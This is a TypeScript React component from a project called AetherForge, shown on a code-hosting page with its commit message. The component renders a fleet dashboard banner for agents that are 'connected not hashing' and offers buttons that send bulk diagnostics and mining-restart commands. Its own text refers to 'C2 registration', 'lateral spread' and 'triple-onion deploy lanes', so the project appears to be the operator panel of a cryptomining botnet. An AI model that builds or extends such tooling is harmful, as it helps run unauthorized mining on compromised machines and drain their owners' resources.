Files
AetherForge/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
AetherForge 9e870fff8b
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add simple Deploy and Mine path for operators without spread complexity.
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
2026-06-07 19:48:32 -07:00

71 lines
2.4 KiB
TypeScript

import { Link } from 'react-router-dom';
import type { Agent } from '../../types';
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
import { api } from '../../api/client';
interface Props {
agents: Agent[];
selectedIds?: Set<string>;
onAction?: (message: string) => void;
}
/** Banner when agents are online but not hashing — with actionable fix buttons. */
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
const stuck = agentsConnectedNotHashing(agents);
if (stuck.length === 0) return null;
const targetIds =
selectedIds && selectedIds.size > 0
? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
: stuck.map((a) => a.id);
const runBulk = async (action: string, label: string) => {
if (targetIds.length === 0) {
onAction?.(`No selected online agents without hashrate.`);
return;
}
try {
const r = await api.sendBulkCommand(targetIds, action);
onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
} catch (e) {
onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
}
};
const sample = stuck[0];
const status = simpleDeployStatus(sample);
return (
<div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
<div>
<strong>
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected not hashing
</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
{status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe not lateral spread.
Check Calibrate wallet/pool, then run diagnostics or restart mining.
</p>
</div>
<div className="connected-not-mining-actions">
<button
type="button"
className="btn btn-sm btn-primary"
onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
>
Run diagnostics
</button>
<button
type="button"
className="btn btn-sm btn-outline"
onClick={() => void runBulk('restart', 'Restart mining')}
>
Restart mining
</button>
<Link to="/forge" className="btn btn-sm btn-outline">
Re-forge (Deploy &amp; Mine)
</Link>
</div>
</div>
);
}